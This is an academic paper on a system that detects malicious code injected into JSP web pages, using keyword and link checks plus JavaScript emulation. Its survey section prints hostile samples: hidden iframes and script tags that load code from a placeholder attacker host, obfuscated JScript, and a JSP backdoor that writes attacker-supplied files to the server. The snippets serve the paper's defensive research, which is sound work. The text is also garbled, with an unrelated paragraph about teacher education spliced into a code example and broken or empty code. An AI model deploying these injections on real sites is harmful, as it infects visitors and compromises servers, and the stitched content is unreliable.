趙莉,凌翔
(西安工業(yè)大學(xué) 計算機科學(xué)與工程學(xué)院,陜西 西安 710021)
在網(wǎng)絡(luò)和計算機技術(shù)的飛速發(fā)展的今天,網(wǎng)頁已經(jīng)成為傳遞信息最快捷,表現(xiàn)形式最豐富的信息載體之一。隨著網(wǎng)站的廣泛建設(shè),其中的網(wǎng)頁惡意代碼的危害面和傳播面也隨之?dāng)U大。所以研究一套網(wǎng)頁惡意代碼檢測系統(tǒng)就顯得尤為的迫切和重要。現(xiàn)有的網(wǎng)頁惡意代碼檢測方法大部分是基于蜜罐技術(shù)或者特征碼識別技術(shù),蜜罐技術(shù)檢測準(zhǔn)確率很高,但是效率較低,不適合于常規(guī)應(yīng)用。而特征碼識別更適合應(yīng)用于二進制機器碼,對解釋執(zhí)行的文本形式的網(wǎng)頁腳本程序檢出率較低且誤報率較高。在總結(jié)了各種網(wǎng)頁惡意代碼嵌入技術(shù)的基礎(chǔ)上。本系統(tǒng)采用了關(guān)鍵字檢測與嵌入特征匹配的方法來檢測網(wǎng)頁惡意代碼。由于網(wǎng)頁惡意代碼嵌入形式的多樣性,以及網(wǎng)頁文件構(gòu)成的復(fù)雜性。網(wǎng)頁惡意代碼檢測系統(tǒng)的關(guān)鍵點就在于如何能準(zhǔn)確檢測出網(wǎng)頁文件各個組成部分中以不同形式嵌入的惡意代碼,并做針對性的防護處理。使網(wǎng)頁惡意代碼檢測系統(tǒng)能夠有效阻止惡意代碼運行帶來的危害,這就是本文所研究的重點。
本文以主流的JSP網(wǎng)頁文件為檢測對象。JSP文件通常由HTML代碼,JAVA代碼,JS代碼和CSS代碼組成,這些代碼類型都可以作為惡意代碼來嵌入[1],方式舉例如下:
1.1.1 框架嵌入
攻擊者利用iframe語句將惡意代碼加載到網(wǎng)頁中可執(zhí)行的嵌入形式是最有效的惡意代碼嵌入技術(shù)之一。通常的代碼如下:
<iframe src=http://www.hack.com/width=0 height=0></iframe>
訪問者在打開插入該代碼的網(wǎng)頁的同時也打開了http://www.hack.com/頁面,但是由于 iframe的長和寬都為“0”,所以在頁面上是不顯示的,具有很強的隱蔽性。
1.1.2 圖片偽裝嵌入
攻擊者使用木馬生成工具生成嵌入了惡意代碼的圖片,再利用代碼調(diào)用執(zhí)行。代碼如下:
<html>
<iframe src="http://www.hack.com/hack.htm"height=0 width=0></iframe>
<img src="http://www.hello.com/hack.jpg”></center>
</html>
這段代碼被瀏覽解釋執(zhí)行后會在瀏覽器界面上顯示hack.jpg的圖片,但是后臺同時也執(zhí)行了hack.htm網(wǎng)頁。
典型的CSS掛馬方式是通過 “background-image”配合JavaScript代碼讓網(wǎng)頁木馬悄悄地在用戶的電腦中運行。代碼如下:
Body{
background -image:url (javascript:open ('http://www.hack.com/','newwindow',' height=0, width=0, top=1000, left=0,toolbar=no, menubar=no, scrollbars=no, resizable =no,location=no, status=no'))
}
這段代碼,使用了 JavaScript的 Open開窗,通過新開一個隱藏的窗口,在后臺悄悄地運行新窗口并激活訪問網(wǎng)頁溢出木馬頁面,不會影響訪問者觀看網(wǎng)頁內(nèi)容,因此更加隱蔽。
1.3.1 JavaScript調(diào)用型惡意代碼嵌入
使用直接的iframe框架嵌入很容易被發(fā)現(xiàn),JavaScript調(diào)用型嵌入較之更有隱蔽性。JavaScript調(diào)用型嵌入是一種利用JavaScript腳本文件調(diào)用的原理進行的隱蔽惡意代碼嵌入技術(shù),如:黑客先制作一個.js文件,然后利用JavaScript代碼調(diào)用到嵌入惡意代碼的網(wǎng)頁。通常代碼如下:
<script src='http://www.hack.com/h.js'></script>
http://www.hack.com/h.js就是一個 JavaScript腳本文件,通過它調(diào)用和執(zhí)行惡意程序的服務(wù)端。
1.3.2 JavaScript惡意代碼加密嵌入
加密嵌入是通過 JavaScript的代碼加密方法來加密嵌入的惡意代碼[2],以此達到肉眼無法直接讀懂代碼的目的。這種方式嵌入的惡意代碼具有更強的隱蔽性,示例代碼如下:
<SCRIPT language=JScript.Encode>
#@~^UwAAAA==@#@&hr
NKhRKw U`rtOYa)&&Shhc4l13R1Ghzr~rJSJAr9Y4'8T!Btnr TtYxqZ!SDdbyC(V'xKJ*I@#@&3BgAAA==^#~@
</SCRIPT>
解密后得到以下代碼:
<script language=Javascript>
window.open ("http://www.hack.com/","","width=100,height=100,resizable=no");
</script>
1.3.3 隱蔽嵌入
調(diào)用JavaScript的innerHTML方法向網(wǎng)頁中寫入惡意鏈接,用戶點擊后就會跳轉(zhuǎn)到惡意網(wǎng)站。示例代碼如下:
<html>
<body>
<div name="change"></div>
<script language="JavaScript">
</script>
</body>
</html>
1.3.4 高級欺騙
高級欺騙是在用戶正常瀏覽網(wǎng)頁的同時觸發(fā)惡意代碼執(zhí)行的一種更加隱蔽的方法,如以下代碼所示:
<html>
總之,“互聯(lián)網(wǎng)+”時代機遇與挑戰(zhàn)并存,“互聯(lián)網(wǎng)+教育”的發(fā)展要求教師要具有更高的專業(yè)素養(yǎng)以及符合時代要求的信息技術(shù)能力。為此,高校教師要與時俱進,積極改革教學(xué)方式,不斷提升自己的教學(xué)水平和信息素養(yǎng),以此促進教師專業(yè)發(fā)展,以滿足“互聯(lián)網(wǎng)+教育”對高校教師綜合素質(zhì)的要求。
<script>
function www_hack_com()
{
var url="www.hack.com";
open (url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no, width=0,height=0,left=0,top=0");
}
</script>
<body>
<a www_back_com();return ture"> 百度</a>
</body>
</html>
當(dāng)用戶點擊 “百度”鏈接的同時會觸發(fā)onMouseOver方法,使得瀏覽器跳轉(zhuǎn)到百度首頁時也執(zhí)行了www_hack_com()打開隱形的惡意網(wǎng)頁。
黑客在JSP頁面中嵌入如下JAVA代碼:
<%
if(request.getParameter("filename")!=null)
new
java.io.FileOutputStream (application.getRealPath ("\")+request.getParameter ("filename"))).write(request.getParameter("content").getBytes());
%>
再通過瀏覽器端訪問嵌入惡意代碼的頁面并加上參數(shù),比如:
http://127.0.0.1:8080/test.jsp?filename=add.jsp&content=hello
然后使用瀏覽器訪問http://127.0.0.1:8080/add.jsp就可以進入到add.jsp頁面了
從網(wǎng)頁惡意代碼嵌入的方式可以看出JSP中惡意HTML代碼都是通過不顯示的<iframe>框架方式或其他方式隱藏惡意鏈接在頁面中,當(dāng)用戶訪問該頁面時瀏覽器自動或者欺騙用戶手動點擊跳轉(zhuǎn)到惡意網(wǎng)站從而下載到遠端的惡意程序。我們可以通過檢測IFRAME的height和width是否為異常數(shù)據(jù)(比如為零或小于5),并且檢測src中的鏈接是否安全[3-4]。
從JAVA惡意代碼的嵌入方式及工作原理可以看出,Java 惡 意 代 碼 主 要 是 使 用 mkdir,PrintWriter(newfile,write(request.getParameter等方法創(chuàng)建目錄、文件并向文件中寫入從瀏覽器端獲取的數(shù)據(jù)。這些操作的代碼由于Web應(yīng)用安全的需要,很少出現(xiàn)在jsp頁面中。我們可以通過對這些關(guān)鍵詞的掃描來檢測java惡意代碼。
從本文前面列出的CSS惡意代碼嵌入方式可以看出攻擊者是將惡意鏈接嵌入到HTML元素的樣式中,當(dāng)瀏覽器解釋該頁面的HTML代碼時就會訪問到CSS文件中的url從而訪問到惡意鏈接。經(jīng)過對網(wǎng)站系統(tǒng)中的JSP文件研究發(fā)現(xiàn),網(wǎng)頁文件中的鏈接大部分是指向本地并采用相對地址的方式。也就是說很少會出現(xiàn)鏈接中包含其他網(wǎng)站域名和IP地址的鏈接。如果出現(xiàn)這些鏈接則很可能是被嵌入了惡意代碼。根據(jù)這個特點,本系統(tǒng)采取黑白名單結(jié)合的方式來提高檢測效率。白名單取自中文網(wǎng)站排行榜TOP500(http://top.chinaz.com/top500/),黑名單取自360惡意網(wǎng)址列表(http://webscan-b.360.cn/url/)。檢測方法是:分解出JSP文件中的CSS代碼,提取出url,再對url進行判斷,如果url是在白名單中則認(rèn)為是安全的,如果url在黑名單中則判斷為惡意代碼。如果url既不在白名單也不在黑名單中,則接入網(wǎng)頁檢測接口查詢。
JavaScript惡意代碼的嵌入方式最多,嵌入形式最復(fù)雜,所以JavaScript惡意代碼檢測是本系統(tǒng)需要解決的一個難點。我們知道JavaScript惡意代碼會使用混淆技術(shù)和其他躲避技術(shù)來隱藏自己。這就導(dǎo)致了JavaScript惡意代碼很難被直接通過關(guān)鍵字匹配或者惡意鏈接檢測的方式準(zhǔn)確的檢測出來。但是由于混淆過的數(shù)據(jù)在執(zhí)行過程中要被還原。例如對 write()參數(shù)的混淆,最終還是要還原后傳遞給 write()寫出。所以,本系統(tǒng)內(nèi)置了 JavaScript執(zhí)行模塊。對JavaScript解釋執(zhí)行后的輸出結(jié)果進行檢測就能使檢測準(zhǔn)確率大大提高。
本系統(tǒng)使用Rhino構(gòu)建JavaScript腳本解釋執(zhí)行環(huán)境。Rhino引擎只能解析JavaScript腳本,不提供DOM操作的支持。要全面的檢測JavaScript惡意代碼就必須改進Rhino引擎使其支持DOM操作。Rhino解析引擎通過Java來解析JavaScript腳本,引擎解析腳本采用對象名稱“name”和對象實例“class object”的直接映射,通過這種方式,腳本中的對象方法和對象屬性的引用就可以做到Java中一樣。遵循W3C標(biāo)準(zhǔn)創(chuàng)建除window之外對應(yīng)的瀏覽器內(nèi)置對象類,內(nèi)置對象類有W3C標(biāo)準(zhǔn)內(nèi)置對象的所有屬性和方法,然后模擬瀏覽器執(zhí)行屬性的初始化,最后在線程中建立與W3C對象“同名的內(nèi)置對象類”實例,并且通過如下方法將實例添加 到 scope[5-6]。
Context.javaToJS(document,jsExploration.getScope())
ScriptableObject.putProperty(s,"document",document)
經(jīng)過以上處理之后,JavaScript腳本就可以直接引用document等瀏覽器內(nèi)置對象,從而支持DOM操作了。
在解釋執(zhí)行JavaScript后,系統(tǒng)對產(chǎn)生的輸出結(jié)果進行類似HTML惡意代碼的檢測。比如判斷<iframe>的height和width屬性及src鏈接安全性等。從而判斷JavaScript代碼的安全性。
本系統(tǒng)采用B/S的結(jié)構(gòu)設(shè)計,可以部署在目前主流的基于J2EE技術(shù)的網(wǎng)站系統(tǒng)中。為了增強系統(tǒng)的可擴展性和可維護性,把系統(tǒng)分成了幾個模塊:控制模塊、網(wǎng)頁分解模塊、HTML及CSS惡意代碼檢測模塊、JavaScript代碼解釋運行模塊、JavaScript輸出結(jié)果檢測模塊、惡意和信任鏈接庫、JAVA惡意代碼檢測模塊、惡意關(guān)鍵詞庫、日志模塊。系統(tǒng)模塊組成圖如圖1所示。

圖1 系統(tǒng)結(jié)構(gòu)Fig.1 System structure
1)控制模塊
該模塊提供用戶操作接口且負(fù)責(zé)整個系統(tǒng)的控制和協(xié)調(diào)。同時完成數(shù)據(jù)初始化庫。
2)網(wǎng)頁分解模塊
完成對待檢測的網(wǎng)頁的分解,將分解結(jié)果提交給各惡意代碼檢測模塊。
3)HTML,CSS 惡意代碼檢測模塊
完成對JSP頁面中分離出來的HTML和CSS代碼的檢測,主要檢測iframe的高寬屬性和鏈接的安全性。
4)JavaScript代碼解釋執(zhí)行模塊
JavaScript惡意代碼為了更好的隱藏自己,經(jīng)常使用加密或者混淆的方式來避免被肉眼識別或者檢測系統(tǒng)檢出。該模塊會對JavaScript代碼解釋執(zhí)行,把JavaScript輸出的結(jié)果送入檢測模塊檢測,從而檢測出經(jīng)過加密或混淆的代碼。
5)JavaScript輸出結(jié)果檢測模塊
對JavaScript代碼解釋執(zhí)行模塊產(chǎn)生的HTML代碼進行檢測。
6)JAVA惡意代碼檢測模塊
掃描代碼,判斷是否存在惡意關(guān)鍵詞庫中的關(guān)鍵詞,如果存在即可判斷文件存在JAVA惡意代碼。
7)惡意和信任鏈接庫
負(fù)責(zé)鏈接庫的信息維護,可定時自動更新信任鏈接和惡意鏈接,也可手動增加、刪除鏈接信息。同時,根據(jù)掃描中對未知鏈接使用第三方接口判斷的結(jié)果,還可以自動添加鏈接信息。
8)惡意關(guān)鍵詞庫
維護JAVA惡意代碼關(guān)鍵詞,給JAVA惡意代碼掃描提供參考信息。
9)日志模塊
記錄掃描日志,為修復(fù)系統(tǒng)漏洞,追蹤惡意代碼來源提供參考信息。
本文通過對JSP網(wǎng)頁文件中的惡意代碼的研究總結(jié)出了惡意代碼的特征,結(jié)合了一般網(wǎng)站系統(tǒng)的特點提出了一種具有針對性的網(wǎng)頁惡意代碼檢測系統(tǒng),經(jīng)驗證該系統(tǒng)可以準(zhǔn)確快速地檢測出存在惡意代碼的網(wǎng)頁并進行初步防御處理。一般選擇在服務(wù)器壓力較小的情況下對站點的網(wǎng)頁進行惡意代碼檢測,在保證了網(wǎng)站服務(wù)器性能的情況下使網(wǎng)頁安全性得到了保障。
[1]李曉光.網(wǎng)頁木馬檢測系統(tǒng)的設(shè)計與實現(xiàn)[D].北京:北京郵電大學(xué),2012.
[2]Cova M,Kruegel C,Vigna G.Detection and Analysis of Drive-by-Download Attacks and Malicious JavaScript Code[R].USA,Proceedings of the International World Wide Web Conference,2010.
[3]黃建軍,梁彬.基于植入特征的網(wǎng)頁惡意代碼檢測[J].清華大學(xué)學(xué)報:自然科學(xué)版,2009,49(s2):2208-2214.HUANG Jian-jun,LIANG Bin.Web page malicious code detection based on embedded fingerprints[J].Tsinghua Univ:Sci&Tech,2009,49(s2):2208-2214.
[4]吳潤浦,方勇,吳少華.基于統(tǒng)計與代碼特征分析的網(wǎng)頁木馬檢測模型[J].信息與電子工程,2009,7(1):71-75.WU Run-pu,F(xiàn)ANG Yong,WU Shao-hua.Web trojan detection model based on statistics and code characteristics analysis[J].Information And Electronic Engineering,2009,7 (1):71-75.
[5]Invernizzi L,Comparetti PM,Benvenuti S,et al.Evilseed:A guided approach to finding malicious web pages[C]//Security and Privacy (SP), 2012 IEEE Symposium on.IEEE,2012:428-442.
[6]李蕊,魏更宇,王樅,等.Rhino解析引擎的分析與改進[C]//2010年全國通信安全學(xué)術(shù)會議論文集,2010:305-310.